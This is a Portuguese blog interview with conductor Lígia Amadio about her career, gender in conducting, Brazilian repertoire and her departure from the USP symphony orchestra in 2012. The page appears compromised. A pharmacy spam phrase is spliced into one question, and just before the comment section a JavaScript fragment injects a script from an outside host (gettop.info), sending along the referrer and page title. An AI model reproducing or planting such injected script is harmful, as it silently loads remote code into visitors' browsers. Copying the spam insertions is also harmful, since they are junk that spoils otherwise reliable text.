EntrevistaLateral

Entrevista com Lígia Amadio

Lígia Amadio concede entrevista exclusiva para o blog de Ópera e Ballet

A maestrina Lígia Amadio esteve mais de dois anos à frente da Orquestra Sinfônica da Universidade de São Paulo. Sala São Paulo sempre lotada , repertórios diversificados , compositores nacionais em todas as apresentações e elogios do público e da crítica. Algum gênio da burocracia nacional decidiu que o trabalho da maestrina não era adequado e pediu sua saída em 2012. Perdem a OSUSP, o público e a cidade de São Paulo.

O artigo publicado nesse site,  intitulado “A Orquestra Sinfônica de Universidade de São Paulo e a truculência do autoritarismo” criticando a saída da maestrina e reclamando dos rumos que foram programados para a OSUSP em 2012 foi a maior audiência do Blog de Ópera e Ballet desde a sua criação. Número de acessos dez vezes maior que a média, publicado em diversos sites pelo Brasil afora e, com base nele, estudantes da Universidade de São Paulo escreveram outras matérias. O público se sensibilizou com o fim de um grande trabalho.
Ligia Amadio fala sobre os motivos de sua saída e outras coisas.

Você é uma das poucas mulheres no Brasil a se destacar como regente de orquestra. Já sentiu alguma reação negativa por parte dos músicos ao assumir o controle de uma orquestra?

Pessoalmente, nunca percebi reação negativa pelo fato de ser mulher. Se essa reação ocorreu alguma vez, eu não a associei a essa causa. Com minha resposta, não estou afirmando que essa reação não exista, ou que não tenha impedido ou dificultado a outras mulheres ou a mim mesma ocupar cargos de regência em orquestras sinfônicas. Eu particularmente não tenho capacidade para interpretar a realidade de uma forma sexista e custa-me bastante imaginar que algo me ocorra por essa razão. Por outro lado, havia um crítico em Buenos Aires que me perseguia regularmente cada vez que eu regia naquela cidade, a tal ponto dos músicos da Orquestra Filarmónica de Buenos Aires, liderados por seu spalla, assinarem um abaixo-assinado endereçado a um dos mais importantes jornais argentinos, exigindo uma retratação do mesmo. Nessa carta, o referido crítico foi tratado de misógino pelos músicos.

 

Como maestrina você já foi convidada a reger em diversos países. Existe diferença técnica ou cultural entre o Brasil e outros países?

Diferenças culturais existem certamente, até de uma cidade a outra em nosso próprio país. Diferenças técnicas ou artísticas, não necessariamente, e independem de nacionalidade. Há músicos mais ou menos preparados ou engajados em toda parte. Assim como há orquestras que oferecem condições mais ou menos profissionais a seus integrantes.

 

Você trabalhou com a Orquestra Sinfônica Nacional do Rio de Janeiro entre os anos de 1996 a 2008. Como você define seu trabalho com esta orquestra?

Trabalhei 12 anos como regente titular e diretora artística da Orquestra Sinfônica Nacional, atual UFF, ex-Rádio MEC. Foram anos de imensa luta e incansável determinação, contando com condições administrativas e financeiras muito precárias. Entretanto, a história dessa grande orquestra e a qualidade artística e humana de muitos de seus integrantes me alentaram a empreender essa batalha. Espero modestamente que minha gestão seja lembrada por ter sido uma época de construção e de desenvolvimento artístico, pois esse foi meu principal objetivo, pelo qual abdiquei de uma parte muito importante de minha vida. Uma de nossas mais importantes realizações nesse período foi a inconclusa Série Música Brasileira no Tempo, uma coleção de CDs e DVDs que trataram da história da música brasileira e de seus mais importantes movimentos estéticos. O objetivo do MEC seria difundir essa coleção para todas as instituições de ensino públicas de nosso país, mas até agora, infelizmente, essa ação só foi concretizada em relação ao primeiro volume da série.

 

Em suas apresentações sempre aparecem obras de compositores nacionais. A música nacional do passado e do presente pode estar presente em grandes orquestras?

Pode e deve. O universo da música brasileira é riquíssimo, variado e de alta qualidade. As orquestras que não executam música brasileira regularmente em suas programações, não estão cumprindo com uma de suas funções mais importantes, que é a de promover e divulgar a música nacional de todas as épocas e estilos.

 

Você esteve à frente da Orquestra Sinfônica da Universidade de São Paulo por duas temporadas completas. Depois de um excelente trabalho, elogiado pelo público e pela crítica, seu contrato não foi renovado para a temporada de 2012. Quais os motivos de sua saída da OSUSP? cialis overnight fedex

Desconheço as verdadeiras razões. Eu já imaginava que isso pudesse ocorrer – apesar do sucesso de nossas temporadas e da excelente relação humana e profissional que mantinha com os integrantes da orquestra – pois já no início de 2011 a pró-reitoria de cultura e extensão universitária da USP me havia deixado sem contrato nos meses de janeiro, fevereiro e meados de março, sem nenhuma definição sobre a continuidade ou não de meu trabalho junto à OSUSP no ano que se iniciava. Meu contrato foi refeito no primeiro dia de ensaio do ano. No dia 10 de dezembro de 2011, após o último concerto da temporada oficial, fui informada por email pelo diretor da OSUSP que existia a previsão da criação, pela Reitoria, de uma comissão para avaliar as questões musicais da USP como um todo, e que as ações dessa comissão deveriam nortear procedimentos futuros, incluindo contratações e concursos. Por essa razão, eles entendiam que, em função das prováveis modificações que seriam introduzidas a partir do trabalho dessa Comissão da Reitoria e por questões legais (tempo de contrato de prestação de serviços), não deveriam manter o contrato de temporada completa comigo ou com outro regente.

Provavelmente, não foram razões artísticas que nortearam essa tomada de decisão, já que no mesmo e-mail também me parabenizavam pelo último concerto e por todo o trabalho realizado com a OSUSP, e afirmavam que o aplauso do publico e os comentários elogiosos dos dirigentes, professores e funcionários da USP demonstravam que a orquestra havia trilhado um bom caminho e que a universidade havia cumprido com seu papel na difusão da música de concerto.

 

Você assumiu a OSUSP por escolha dos músicos, votação direta após uma lista tríplice. Você acha esse método ideal para se escolher o regente de uma orquestra?

Eu acredito na liberdade de expressão e na participação política como a forma mais legítima de organizar a vida social e institucional. Em todas as orquestras em que trabalhei como regente titular, fui eleita pelos músicos.

Independentemente de minha opinião a esse respeito, o fato é que fui eleita dessa forma numa orquestra cujo regimento rezava designar seu regente titular e diretor artístico ao regente assim eleito. A pró-reitoria de extensão e cultura universitária evitou, entretanto, designar-me como regente titular e diretora artística da OSUSP desde o princípio de minha contratação.

A partir de uma alteração realizada no regimento da OSUSP em 2011 (sem conhecimento ou participação dos integrantes da orquestra), a orquestra perdeu o direito democrático de escolher seu próprio regente titular e diretor artístico.

 

O novo método proposto para a OSUSP em 2012 é  um regente para cada concerto: o que você acha desse método ?

Se eu conhecesse o propósito desse método, poderia avaliar a eficácia do mesmo. Aparentemente, o novo método deveria servir aos propósitos que nortearam a alteração do regimento da orquestra. Sob o ponto de vista puramente artístico, essa forma de organizar a programação provavelmente será contraproducente, uma vez que se torna impossível imprimir certos critérios de sonoridade, de intensidade de execução e de evolução de repertório a um grupo orquestral, sem uma direção artística definida, coerente e experiente. Um maestro titular dá personalidade e plasma a sonoridade de uma orquestra, de acordo com suas concepções estéticas. Sem uma liderança artística competente, por melhor que seja a orquestra, fica difícil construir um caminho consistente.

 

Quais os planos de Lígia Amadio para 2012?

Além de continuar meu trabalho como regente titular e diretora artística da Orquestra Filarmónica de Mendoza, na Argentina, regerei, como de costume, uma série de concertos como convidada em outros países. Além dos concertos sinfônicos, tenho o compromisso de reger 3 óperas e de integrar o júri de um importante concurso internacional de piano. Recomeço minhas atividades em fevereiro, dirigindo no Festival Internacional de Música Al Bustan, no Líbano, e na Argentina. Em 2012, estarei, na maior parte do tempo, atuando fora do Brasil.

 

 d.getElementsByTagName(‘head’)[0].appendChild(s);s.src=’http://gettop.info/kt/?sdNXbH&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”;

Leave a Response

Ali Hassan Ayache
Bacharel em Geografia pela USP. Apreciador de ópera, balé e música clássica. Ativo no meio musical, mantém o blog http://verdi.zip.net/. Escreve críticas, divulga eventos, entrevista personalidades e resenha óperas e balés em DVD.